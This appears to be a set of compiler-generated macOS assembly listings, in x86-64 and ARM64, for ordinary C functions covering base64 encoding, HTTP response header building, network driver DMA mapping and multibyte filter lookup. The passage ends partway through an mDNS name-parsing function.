.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _b64_ntop ; -- Begin function b64_ntop .p2align 2 _b64_ntop: ; @b64_ntop .cfi_startproc ; %bb.0: sub sp, sp, #112 stp x28, x27, [sp, #16] ; 16-byte Folded Spill stp x26, x25, [sp, #32] ; 16-byte Folded Spill stp x24, x23, [sp, #48] ; 16-byte Folded Spill stp x22, x21, [sp, #64] ; 16-byte Folded Spill stp x20, x19, [sp, #80] ; 16-byte Folded Spill stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 str x3, [sp, #8] ; 8-byte Folded Spill mov x23, x1 mov x22, x0 cmp x1, #2 b.lo LBB0_5 ; %bb.1: mov x26, #0 ; =0x0 str x2, [sp] ; 8-byte Folded Spill add x24, x2, #3 Lloh0: adrp x25, _Base64@GOTPAGE Lloh1: ldr x25, [x25, _Base64@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 add x8, x22, x26 ldp w8, w27, [x8, #-4] asr w20, w27, #2 lsl w9, w27, #4 orr w9, w9, #0x30 add w19, w9, w8, asr #4 ubfiz w8, w8, #2, #4 add w28, w8, w27, asr #6 cmp w20, #64 cset w0, lt bl _Assert cmp w19, #64 cset w0, lt bl _Assert cmp w28, #64 cset w0, lt bl _Assert mov w0, #1 ; =0x1 bl _Assert add x21, x26, #4 ldr x8, [sp, #8] ; 8-byte Folded Reload cmp x21, x8 b.hi LBB0_10 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 ldr x8, [x25] ldrb w8, [x8, w20, sxtw] and x9, x27, #0x3f add x10, x24, x26 sturb w8, [x10, #-3] ldr x8, [x25] ldrb w8, [x8, w19, sxtw] sub x23, x23, #3 sturb w8, [x10, #-2] ldr x8, [x25] ldrb w8, [x8, w28, sxtw] sturb w8, [x10, #-1] ldr x8, [x25] ldrb w8, [x8, x9] strb w8, [x10] mov x26, x21 cmp x23, #1 b.hi LBB0_2 ; %bb.4: add x22, x22, x21 ldr x2, [sp] ; 8-byte Folded Reload cbnz x23, LBB0_6 b LBB0_8 LBB0_5: mov x21, #0 ; =0x0 cbz x23, LBB0_8 LBB0_6: mov x23, x2 ldr w19, [x22] asr w20, w19, #2 cmp w20, #64 cset w0, lt bl _Assert mov w0, #1 ; =0x1 bl _Assert mov w0, #1 ; =0x1 bl _Assert add x8, x21, #4 ldr x9, [sp, #8] ; 8-byte Folded Reload cmp x8, x9 b.hi LBB0_10 ; %bb.7: ubfiz x9, x19, #4, #2 Lloh2: adrp x10, _Base64@GOTPAGE Lloh3: ldr x10, [x10, _Base64@GOTPAGEOFF] ldr x11, [x10] ldrb w11, [x11, w20, sxtw] mov x2, x23 add x12, x23, x21 strb w11, [x12] ldr x10, [x10] ldrb w9, [x10, x9] strb w9, [x12, #1] Lloh4: adrp x9, _Pad64@GOTPAGE Lloh5: ldr x9, [x9, _Pad64@GOTPAGEOFF] ldrb w9, [x9] strb w9, [x12, #2] strb w9, [x12, #3] mov x21, x8 LBB0_8: ldr x8, [sp, #8] ; 8-byte Folded Reload cmp x21, x8 b.hs LBB0_10 ; %bb.9: strb wzr, [x2, x21] b LBB0_11 LBB0_10: mov w21, #-1 ; =0xffffffff LBB0_11: mov x0, x21 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload ldp x20, x19, [sp, #80] ; 16-byte Folded Reload ldp x22, x21, [sp, #64] ; 16-byte Folded Reload ldp x24, x23, [sp, #48] ; 16-byte Folded Reload ldp x26, x25, [sp, #32] ; 16-byte Folded Reload ldp x28, x27, [sp, #16] ; 16-byte Folded Reload add sp, sp, #112 ret .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .cfi_endproc ; -- End function .comm _Base64,8,3 ; @Base64 .comm _Pad64,1,0 ; @Pad64 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function build_response_header _build_response_header: ## @build_response_header .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, -80(%rbp) ## 8-byte Spill movq %rdi, %r12 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq 24(%rdi), %rbx movq %rbx, %rdi callq _EnterCriticalSection movl (%r12), %eax leal (%rax,%rax,4), %eax leal 64(,%rax,8), %edi callq _heap_alloc movq %rax, -72(%rbp) ## 8-byte Spill testq %rax, %rax je LBB0_1 ## %bb.2: movl 40(%r12), %edx testl %edx, %edx movq %rbx, -88(%rbp) ## 8-byte Spill je LBB0_3 ## %bb.4: movq 8(%r12), %rax movq -72(%rbp), %r14 ## 8-byte Reload movq %rax, (%r14) leaq _build_response_header.status_fmt(%rip), %rsi leaq -62(%rbp), %r13 movq %r13, %rdi callq _sprintfW movq %r13, -8(%r14) movq 16(%r12), %rax movq %rax, (%r14) cmpq $0, -80(%rbp) ## 8-byte Folded Reload je LBB0_5 ## %bb.6: leaq _build_response_header.crW(%rip), %rax movq %rax, 8(%r14) movl $2, %r13d jmp LBB0_7 LBB0_1: movq %rbx, %rdi callq _LeaveCriticalSection xorl %r15d, %r15d jmp LBB0_20 LBB0_3: xorl %r13d, %r13d movq -72(%rbp), %rbx ## 8-byte Reload jmp LBB0_8 LBB0_5: movl $1, %r13d LBB0_7: leaq _build_response_header.lfW(%rip), %rax movq %rax, (%r14,%r13,8) incq %r13 movq %r14, %rbx LBB0_8: xorl %r15d, %r15d xorl %r14d, %r14d jmp LBB0_9 .p2align 4, 0x90 LBB0_14: ## in Loop: Header=BB0_9 Depth=1 leaq _build_response_header.crW(%rip), %rax movq %rax, 24(%rbx,%r13,8) addq $4, %r13 LBB0_15: ## in Loop: Header=BB0_9 Depth=1 leaq _build_response_header.lfW(%rip), %rax movq %rax, (%rbx,%r13,8) incq %r13 movq 32(%r12), %rax movq 8(%rax,%r15), %rdi callq _debugstr_w movl %eax, %ebx movq 32(%r12), %rax movq 16(%rax,%r15), %rdi callq _debugstr_w leaq L_.str(%rip), %rdi movl %ebx, %esi movq -72(%rbp), %rbx ## 8-byte Reload movl %eax, %edx callq _TRACE LBB0_16: ## in Loop: Header=BB0_9 Depth=1 incq %r14 movslq (%r12), %rax addq $24, %r15 cmpq %rax, %r14 ja LBB0_17 LBB0_9: ## =>This Inner Loop Header: Depth=1 movq 32(%r12), %rax movq _HDR_ISREQUEST@GOTPCREL(%rip), %rcx movl (%rcx), %ecx testl %ecx, (%rax,%r15) je LBB0_12 ## %bb.10: ## in Loop: Header=BB0_9 Depth=1 movq 8(%rax,%r15), %rdi movq _szStatus@GOTPCREL(%rip), %rax movl (%rax), %esi callq _strcmpW testq %rax, %rax je LBB0_16 ## %bb.11: ## in Loop: Header=BB0_9 Depth=1 movq 32(%r12), %rax LBB0_12: ## in Loop: Header=BB0_9 Depth=1 movq 8(%rax,%r15), %rax movq %rax, (%rbx,%r13,8) leaq _build_response_header.colonW(%rip), %rax movq %rax, 8(%rbx,%r13,8) movq 32(%r12), %rax movq 16(%rax,%r15), %rax movq %rax, 16(%rbx,%r13,8) cmpq $0, -80(%rbp) ## 8-byte Folded Reload jne LBB0_14 ## %bb.13: ## in Loop: Header=BB0_9 Depth=1 addq $3, %r13 jmp LBB0_15 LBB0_17: cmpq $0, -80(%rbp) ## 8-byte Folded Reload je LBB0_19 ## %bb.18: leaq _build_response_header.crW(%rip), %rax movq %rax, (%rbx,%r13,8) incq %r13 LBB0_19: movq %rbx, %r14 movq -88(%rbp), %rbx ## 8-byte Reload leaq _build_response_header.lfW(%rip), %rax movq %rax, (%r14,%r13,8) movq $0, 8(%r14,%r13,8) movq %r14, %rdi xorl %esi, %esi callq _HTTP_build_req movq %rax, %r15 movq %r14, %rdi callq _heap_free movq %rbx, %rdi callq _LeaveCriticalSection LBB0_20: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_22 ## %bb.21: movq %r15, %rax addq $56, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_22: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__const _build_response_header.colonW: ## @build_response_header.colonW .asciz ": " _build_response_header.crW: ## @build_response_header.crW .asciz "\r" _build_response_header.lfW: ## @build_response_header.lfW .asciz "\n" _build_response_header.status_fmt: ## @build_response_header.status_fmt .asciz " %u " .comm _HDR_ISREQUEST,4,2 ## @HDR_ISREQUEST .comm _szStatus,4,2 ## @szStatus .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Adding custom header %s (%s)\n" .no_dead_strip _build_response_header .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function build_response_header _build_response_header: ; @build_response_header .cfi_startproc ; %bb.0: sub sp, sp, #128 stp x28, x27, [sp, #32] ; 16-byte Folded Spill stp x26, x25, [sp, #48] ; 16-byte Folded Spill stp x24, x23, [sp, #64] ; 16-byte Folded Spill stp x22, x21, [sp, #80] ; 16-byte Folded Spill stp x20, x19, [sp, #96] ; 16-byte Folded Spill stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x21, x1 mov x19, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] str x8, [sp, #24] add x0, x0, #24 bl _EnterCriticalSection ldr w8, [x19] mov w9, #40 ; =0x28 mov w10, #64 ; =0x40 madd w0, w8, w9, w10 bl _heap_alloc cbz x0, LBB0_4 ; %bb.1: mov x20, x0 ldr w2, [x19, #40] cbz w2, LBB0_5 ; %bb.2: ldr x8, [x19, #8] str x8, [x20] Lloh3: adrp x1, _build_response_header.status_fmt@PAGE Lloh4: add x1, x1, _build_response_header.status_fmt@PAGEOFF add x22, sp, #10 add x0, sp, #10 bl _sprintfW stur x22, [x20, #-8] ldr x8, [x19, #16] str x8, [x20] cbz x21, LBB0_6 ; %bb.3: Lloh5: adrp x8, _build_response_header.crW@PAGE Lloh6: add x8, x8, _build_response_header.crW@PAGEOFF str x8, [x20, #8] mov w8, #2 ; =0x2 b LBB0_7 LBB0_4: add x0, x19, #24 bl _LeaveCriticalSection mov x21, #0 ; =0x0 b LBB0_19 LBB0_5: mov x26, #0 ; =0x0 b LBB0_8 LBB0_6: mov w8, #1 ; =0x1 LBB0_7: add x26, x8, #1 Lloh7: adrp x9, _build_response_header.lfW@PAGE Lloh8: add x9, x9, _build_response_header.lfW@PAGEOFF str x9, [x20, x8, lsl #3] LBB0_8: mov x27, #0 ; =0x0 mov x28, #0 ; =0x0 Lloh9: adrp x25, _HDR_ISREQUEST@GOTPAGE Lloh10: ldr x25, [x25, _HDR_ISREQUEST@GOTPAGEOFF] Lloh11: adrp x24, _build_response_header.colonW@PAGE Lloh12: add x24, x24, _build_response_header.colonW@PAGEOFF Lloh13: adrp x22, l_.str@PAGE Lloh14: add x22, x22, l_.str@PAGEOFF b LBB0_11 LBB0_9: ; in Loop: Header=BB0_11 Depth=1 add x26, x8, #1 Lloh15: adrp x9, _build_response_header.lfW@PAGE Lloh16: add x9, x9, _build_response_header.lfW@PAGEOFF str x9, [x20, x8, lsl #3] ldr x8, [x19, #32] add x8, x8, x27 ldr x0, [x8, #8] bl _debugstr_w mov x23, x0 ldr x8, [x19, #32] add x8, x8, x27 ldr x0, [x8, #16] bl _debugstr_w mov x2, x0 mov x0, x22 mov x1, x23 bl _TRACE LBB0_10: ; in Loop: Header=BB0_11 Depth=1 add x28, x28, #1 ldrsw x8, [x19] add x27, x27, #24 cmp x28, x8 b.hi LBB0_16 LBB0_11: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #32] ldr w9, [x8, x27] ldr w10, [x25] tst w10, w9 b.eq LBB0_14 ; %bb.12: ; in Loop: Header=BB0_11 Depth=1 add x8, x8, x27 ldr x0, [x8, #8] Lloh17: adrp x8, _szStatus@GOTPAGE Lloh18: ldr x8, [x8, _szStatus@GOTPAGEOFF] Lloh19: ldr w1, [x8] bl _strcmpW cbz x0, LBB0_10 ; %bb.13: ; in Loop: Header=BB0_11 Depth=1 ldr x8, [x19, #32] LBB0_14: ; in Loop: Header=BB0_11 Depth=1 add x8, x8, x27 ldr x8, [x8, #8] add x9, x20, x26, lsl #3 stp x8, x24, [x9] ldr x8, [x19, #32] add x8, x8, x27 ldr x10, [x8, #16] add x8, x26, #3 str x10, [x9, #16] cbz x21, LBB0_9 ; %bb.15: ; in Loop: Header=BB0_11 Depth=1 Lloh20: adrp x9, _build_response_header.crW@PAGE Lloh21: add x9, x9, _build_response_header.crW@PAGEOFF str x9, [x20, x8, lsl #3] add x8, x26, #4 b LBB0_9 LBB0_16: cbz x21, LBB0_18 ; %bb.17: Lloh22: adrp x8, _build_response_header.crW@PAGE Lloh23: add x8, x8, _build_response_header.crW@PAGEOFF str x8, [x20, x26, lsl #3] add x26, x26, #1 LBB0_18: add x8, x20, x26, lsl #3 Lloh24: adrp x9, _build_response_header.lfW@PAGE Lloh25: add x9, x9, _build_response_header.lfW@PAGEOFF stp x9, xzr, [x8] mov x0, x20 mov w1, #0 ; =0x0 bl _HTTP_build_req mov x21, x0 mov x0, x20 bl _heap_free add x0, x19, #24 bl _LeaveCriticalSection LBB0_19: ldr x8, [sp, #24] Lloh26: adrp x9, ___stack_chk_guard@GOTPAGE Lloh27: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh28: ldr x9, [x9] cmp x9, x8 b.ne LBB0_21 ; %bb.20: mov x0, x21 ldp x29, x30, [sp, #112] ; 16-byte Folded Reload ldp x20, x19, [sp, #96] ; 16-byte Folded Reload ldp x22, x21, [sp, #80] ; 16-byte Folded Reload ldp x24, x23, [sp, #64] ; 16-byte Folded Reload ldp x26, x25, [sp, #48] ; 16-byte Folded Reload ldp x28, x27, [sp, #32] ; 16-byte Folded Reload add sp, sp, #128 ret LBB0_21: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh3, Lloh4 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh7, Lloh8 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpAdd Lloh11, Lloh12 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpAdd Lloh20, Lloh21 .loh AdrpAdd Lloh22, Lloh23 .loh AdrpAdd Lloh24, Lloh25 .loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28 .cfi_endproc ; -- End function .section __TEXT,__const _build_response_header.colonW: ; @build_response_header.colonW .asciz ": " _build_response_header.crW: ; @build_response_header.crW .asciz "\r" _build_response_header.lfW: ; @build_response_header.lfW .asciz "\n" _build_response_header.status_fmt: ; @build_response_header.status_fmt .asciz " %u " .comm _HDR_ISREQUEST,4,2 ; @HDR_ISREQUEST .comm _szStatus,4,2 ; @szStatus .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Adding custom header %s (%s)\n" .no_dead_strip _build_response_header .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function ef4_tx_map_data _ef4_tx_map_data: ## @ef4_tx_map_data .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r15 movq %rdi, %r14 movq (%rdi), %rax movq (%rax), %rbx movq %rsi, %rdi callq _skb_shinfo movl (%rax), %eax movl %eax, -48(%rbp) ## 4-byte Spill movq %r15, %rdi callq _skb_headlen movq %rax, %r12 movl (%r15), %esi movq _DMA_TO_DEVICE@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %rbx, %rdi movq %r12, %rdx callq _dma_map_single movq %rax, %r13 movq _EF4_TX_BUF_MAP_SINGLE@GOTPCREL(%rip), %rax movzwl (%rax), %eax movl %eax, -44(%rbp) ## 4-byte Spill movq %rbx, %rdi movq %r13, %rsi callq _dma_mapping_error movl %eax, %edi callq _unlikely testq %rax, %rax je LBB0_1 LBB0_5: movq _EIO@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax jmp LBB0_6 LBB0_1: movq %r14, -56(%rbp) ## 8-byte Spill movq %r14, %rdi movq %r13, %rsi movq %r12, %rdx callq _ef4_tx_map_chunk movq _EF4_TX_BUF_CONT@GOTPCREL(%rip), %r14 movzwl (%r14), %ecx movl -44(%rbp), %edx ## 4-byte Reload orw %dx, %cx movw %cx, (%rax) movq %r12, 8(%rax) movq 24(%rax), %rcx subq %r13, %rcx movq %rcx, 32(%rax) cmpl $0, -48(%rbp) ## 4-byte Folded Reload je LBB0_4 ## %bb.2: movq %r15, %rdi callq _skb_shinfo movq 8(%rax), %r13 movq %r13, %rdi callq _skb_frag_size movq %rax, %r12 movq _DMA_TO_DEVICE@GOTPCREL(%rip), %rax movl (%rax), %r8d movq %rbx, %rdi movq %r13, %rsi xorl %edx, %edx movq %r12, %rcx callq _skb_frag_dma_map movq %rax, %r13 movq %rbx, %rdi movq %rax, %rsi callq _dma_mapping_error movl %eax, %edi callq _unlikely testq %rax, %rax jne LBB0_5 ## %bb.3: movq -56(%rbp), %rdi ## 8-byte Reload movq %r13, %rsi movq %r12, %rdx callq _ef4_tx_map_chunk movzwl (%r14), %ecx movw %cx, (%rax) movq %r12, 8(%rax) movq 24(%rax), %rcx subq %r13, %rcx movq %rcx, 32(%rax) xorl %edx, %edx LBB0_4: movq %r15, 16(%rax) movq _EF4_TX_BUF_SKB@GOTPCREL(%rip), %rcx orw (%rcx), %dx movw %dx, (%rax) xorl %eax, %eax LBB0_6: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _DMA_TO_DEVICE,4,2 ## @DMA_TO_DEVICE .comm _EF4_TX_BUF_MAP_SINGLE,2,1 ## @EF4_TX_BUF_MAP_SINGLE .comm _EIO,4,2 ## @EIO .comm _EF4_TX_BUF_CONT,2,1 ## @EF4_TX_BUF_CONT .comm _EF4_TX_BUF_SKB,2,1 ## @EF4_TX_BUF_SKB .no_dead_strip _ef4_tx_map_data .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ef4_tx_map_data _ef4_tx_map_data: ; @ef4_tx_map_data .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x1 mov x20, x0 ldr x8, [x0] ldr x21, [x8] mov x0, x1 bl _skb_shinfo ldr w27, [x0] mov x0, x19 bl _skb_headlen mov x22, x0 ldr w1, [x19] Lloh0: adrp x26, _DMA_TO_DEVICE@GOTPAGE Lloh1: ldr x26, [x26, _DMA_TO_DEVICE@GOTPAGEOFF] ldr w3, [x26] mov x0, x21 mov x2, x22 bl _dma_map_single mov x23, x0 Lloh2: adrp x8, _EF4_TX_BUF_MAP_SINGLE@GOTPAGE Lloh3: ldr x8, [x8, _EF4_TX_BUF_MAP_SINGLE@GOTPAGEOFF] ldrh w25, [x8] mov x0, x21 mov x1, x23 bl _dma_mapping_error bl _unlikely cbz x0, LBB0_2 LBB0_1: Lloh4: adrp x8, _EIO@GOTPAGE Lloh5: ldr x8, [x8, _EIO@GOTPAGEOFF] Lloh6: ldr w8, [x8] neg w0, w8 b LBB0_6 LBB0_2: mov x0, x20 mov x1, x23 mov x2, x22 bl _ef4_tx_map_chunk Lloh7: adrp x24, _EF4_TX_BUF_CONT@GOTPAGE Lloh8: ldr x24, [x24, _EF4_TX_BUF_CONT@GOTPAGEOFF] ldrh w8, [x24] orr w8, w8, w25 strh w8, [x0] str x22, [x0, #8] ldr x8, [x0, #24] sub x8, x8, x23 str x8, [x0, #32] cbz w27, LBB0_5 ; %bb.3: mov x0, x19 bl _skb_shinfo ldr x23, [x0, #8] mov x0, x23 bl _skb_frag_size mov x22, x0 ldr w4, [x26] mov x0, x21 mov x1, x23 mov w2, #0 ; =0x0 mov x3, x22 bl _skb_frag_dma_map mov x23, x0 mov x0, x21 mov x1, x23 bl _dma_mapping_error bl _unlikely cbnz x0, LBB0_1 ; %bb.4: mov x0, x20 mov x1, x23 mov x2, x22 bl _ef4_tx_map_chunk mov w25, #0 ; =0x0 ldrh w8, [x24] strh w8, [x0] str x22, [x0, #8] ldr x8, [x0, #24] sub x8, x8, x23 str x8, [x0, #32] LBB0_5: str x19, [x0, #16] Lloh9: adrp x9, _EF4_TX_BUF_SKB@GOTPAGE Lloh10: ldr x9, [x9, _EF4_TX_BUF_SKB@GOTPAGEOFF] ldrh w9, [x9] orr w9, w9, w25 strh w9, [x0] mov w0, #0 ; =0x0 LBB0_6: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6 .loh AdrpLdrGot Lloh7, Lloh8 .loh AdrpLdrGot Lloh9, Lloh10 .cfi_endproc ; -- End function .comm _DMA_TO_DEVICE,4,2 ; @DMA_TO_DEVICE .comm _EF4_TX_BUF_MAP_SINGLE,2,1 ; @EF4_TX_BUF_MAP_SINGLE .comm _EIO,4,2 ; @EIO .comm _EF4_TX_BUF_CONT,2,1 ; @EF4_TX_BUF_CONT .comm _EF4_TX_BUF_SKB,2,1 ; @EF4_TX_BUF_SKB .no_dead_strip _ef4_tx_map_data .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _mbfl_identify_filter_get_vtbl ## -- Begin function mbfl_identify_filter_get_vtbl .p2align 4, 0x90 _mbfl_identify_filter_get_vtbl: ## @mbfl_identify_filter_get_vtbl .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _mbfl_identify_filter_list@GOTPCREL(%rip), %rax movq (%rax), %rcx .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq (%rcx), %rax addq $8, %rcx testq %rax, %rax je LBB0_1 ## %bb.2: popq %rbp retq .cfi_endproc ## -- End function .comm _mbfl_identify_filter_list,8,3 ## @mbfl_identify_filter_list .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _mbfl_identify_filter_get_vtbl ; -- Begin function mbfl_identify_filter_get_vtbl .p2align 2 _mbfl_identify_filter_get_vtbl: ; @mbfl_identify_filter_get_vtbl .cfi_startproc ; %bb.0: Lloh0: adrp x8, _mbfl_identify_filter_list@GOTPAGE Lloh1: ldr x8, [x8, _mbfl_identify_filter_list@GOTPAGEOFF] Lloh2: ldr x8, [x8] LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x0, [x8], #8 cbz x0, LBB0_1 ; %bb.2: ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _mbfl_identify_filter_list,8,3 ; @mbfl_identify_filter_list .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function _mdns_read_fqdn LCPI0_0: .byte 0 ## 0x0 .byte 4 ## 0x4 .byte 8 ## 0x8 .byte 12 ## 0xc .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 LCPI0_1: .byte 0 ## 0x0 .byte 4 ## 0x4 .byte 8 ## 0x8 .byte 12 ## 0xc .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 __mdns_read_fqdn: ## @_mdns_read_fqdn .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $88, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r13 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl (%rsi), %r15d testl %r15d, %r15d je LBB0_39 ## %bb.1: movq %rcx, %rbx movq %rdi, -96(%rbp) ## 8-byte Spill leaq -4(%r13), %rax movq %rax, -120(%rbp) ## 8-byte Spill leaq 3(%rcx), %rax movq %rax, -112(%rbp) ## 8-byte Spill leaq 12(%r13), %rax movq %rax, -104(%rbp) ## 8-byte Spill movd LCPI0_1(%rip), %xmm2 ## xmm2 = [0,4,8,12,0,0,0,0,0,0,0,0,0,0,0,0] movq %r13, %r12 xorl %r14d, %r14d movq %rdx, -88(%rbp) ## 8-byte Spill jmp LBB0_5 .p2align 4, 0x90 LBB0_2: ## in Loop: Header=BB0_5 Depth=1 movq 8(%rdx), %rdi leaq L_.str.2(%rip), %rsi movl $8, %edx callq _strlcat movq -88(%rbp), %rax ## 8-byte Reload movq 8(%rax), %rdi movq %rbx, %rsi movl $8, %edx callq _strlcat movq -88(%rbp), %rdx ## 8-byte Reload LBB0_3: ## in Loop: Header=BB0_5 Depth=1 movd LCPI0_1(%rip), %xmm2 ## xmm2 = [0,4,8,12,0,0,0,0,0,0,0,0,0,0,0,0] LBB0_4: ## in Loop: Header=BB0_5 Depth=1 leaq (,%r14,4), %r12 addq %r13, %r12 movl (%r13,%r14,4), %r15d testl %r15d, %r15d je LBB0_43 LBB0_5: ## =>This Loop Header: Depth=1 ## Child Loop BB0_24 Depth 2 ## Child Loop BB0_27 Depth 2 cmpl $4, (%rdx) jne LBB0_7 ## %bb.6: ## in Loop: Header=BB0_5 Depth=1 movl $1, 4(%rdx) movl (%r12), %r15d LBB0_7: ## in Loop: Header=BB0_5 Depth=1 cmpl $191, %r15d jg LBB0_40 ## %bb.8: ## in Loop: Header=BB0_5 Depth=1 cmpl $63, %r15d jg LBB0_42 ## %bb.9: ## in Loop: Header=BB0_5 Depth=1 leaq -1(%r14), %rax testl %r15d, %r15d jle LBB0_29 ## %bb.10: ## in Loop: Header=BB0_5 Depth=1 movl %r15d, %ecx cmpl $8, %r15d movq -120(%rbp), %r8 ## 8-byte Reload jb LBB0_11 ## %bb.12: ## in Loop: Header=BB0_5 Depth=1 leaq (%r14,%rcx), %rsi leaq (%r8,%rsi,4), %rsi cmpq %rbx, %rsi jbe LBB0_15 ## %bb.13: ## in Loop: Header=BB0_5 Depth=1 leaq (%rbx,%rcx), %rdi leaq (%r8,%r14,4), %rsi cmpq %rdi, %rsi jae LBB0_15 LBB0_11: ## in Loop: Header=BB0_5 Depth=1 xorl %r9d, %r9d LBB0_23: ## in Loop: Header=BB0_5 Depth=1 movq %rcx, %rdi movq %r9, %rsi andq $3, %rdi je LBB0_25 